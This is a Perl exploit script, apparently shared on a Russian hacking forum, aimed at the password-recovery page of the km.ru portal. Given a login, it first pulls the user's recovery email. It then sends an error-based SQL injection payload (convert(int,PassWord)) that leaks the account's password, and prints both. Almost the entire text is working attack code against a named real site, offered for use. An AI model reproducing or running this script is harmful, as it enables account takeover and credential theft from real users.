Код:
#!/usr/bin/perl
use IO::Socket;
$login = $ARGV[1];
$domain = $ARGV[0];
print "\n(c)oded by system(\$cmd) // 24.08.2006\nSpecial for Web-Hack.ru\n--------------------------\n";
if (@ARGV < 2){
print "usage: perl km.pl domain login \n";
exit();
}
print "[+]Login - $login\n";
print "[+]Domain - $domain\n";
if ($domain=~/km.ru/){$domain=""}
$post="login=$login&domainname=$domain&secondOK=1";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "www.km.ru", PeerPort => "80") || die "\nCONNECTION FAILED";
print $sock "POST /reg/password.asp HTTP/1.1\r\n";
print $sock "Host: www.km.ru\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";
while (<$sock>)
{
$a .= $_;
}
($nick,$host) = split(/\@/,$a);
($host,$trash) = split(/
/,$host);
($trash,$nick) = split(/адрес /,$nick);
$email="$nick\@$host";
if($email=~<\/option>)
{
print "[-]Mail does not exist or additional mail is not specified!\n";
#exit();
}
else
{
print "[+]Email - $email\n"
}
$post="email='%20or%201=convert(int,PassWord)%20and%20NickName='$login'--&nullOK=1";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "www.km.ru", PeerPort => "80") || die "\nCONNECTION FAILED";
print $sock "POST /reg/password.asp HTTP/1.1\r\n";
print $sock "Host: www.km.ru\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";
while (<$sock>)
{
$a .= $_;
}
($pass,$trash) = split(/' to/,$a);
($trash,$pass) = split(/value '/,$pass);
print "[+]Passw - $pass";